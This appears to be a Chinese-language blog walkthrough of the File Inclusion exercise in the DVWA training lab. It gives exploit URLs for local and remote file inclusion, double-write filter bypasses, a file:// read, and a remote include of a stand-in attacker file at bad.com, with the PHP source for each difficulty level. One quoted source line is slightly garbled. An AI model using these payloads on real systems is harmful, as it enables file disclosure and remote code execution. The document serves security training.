something about DVWA - File Inclusion
DVWA
File Inclusion(文件包含)
php配置允许allow_url_include
时允许文件包含,配置允许allow_url_fopen
时允许包含远程文件。
Low
手工测试
本地文件包含
dvwa文件包含为此URL:
http://train.com/dvwa/vulnerabilities/fi/?page=include.php
,尝试替换include.php
包含 本地敏感文件。http://train.com/dvwa/vulnerabilities/fi/?page=C:\xampp\htdocs\DVWA\robots.txt
http://train.com/dvwa/vulnerabilities/fi/?page=..\..\robots.txt
远程文件包含
将远程恶意文件url传递给dvwa。
http://train.com/dvwa/vulnerabilities/fi/?page=http://bad.com/bad.php
源码分析
直接在
request
中获取文件名,直接进行包含。1
2// The page we wish to display
$file = $_GET[ 'page' ];
Medium
手工测试
str_replace
只会过滤一次,因此可以使用 重复构造 的方法( 双写 )进行绕过。想要构造
http://
,因此构造httphttp://://
,这样http://
被过滤掉后,剩余的字符组合成 目标字符串 。
同样的,想要构造../
,因此构造..././
。构造后的漏洞利用url为:
http://train.com/dvwa/vulnerabilities/fi/?page=httphttp://://bad.com/bad.php
http://train.com/dvwa/vulnerabilities/fi/?page=..././..././robots.txt
源码分析
从
request
中获取文件名后,使用str_replace
将其中的敏感字串过滤掉。1
2
3
4
5
6// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
"file = str_replace( array( "../", "..\\" ), "", $file );
High
手工测试
由于强制要求文件名以
file
开头,可以使用File协议
绕过判断。File协议
为本地文件传输协议
, 因此需要配合文件上传
漏洞使用,将恶意文件上传至目标服务器,再使用File协议
指定目标文件。File协议
使用:1
file://path/to/file
使用
File协议
后指定包含文件:1
http://train.com/dvwa/vulnerabilities/fi/?page=file://C:\Windows\System32\drivers\etc\hosts
源码分析
从
request
中获取文件名后,判断其是否为固定字符开头(以file开头
)。1
2
3
4// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
//...
}
Impossible
源码分析
从
request
中获取文件名后,判断其是否在允许包含的文件列表中。1
2
3
4// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
//...
}
something about DVWA - File Inclusion
https://cyhfvg.github.io/something-about-DVWA-File-Inclusion/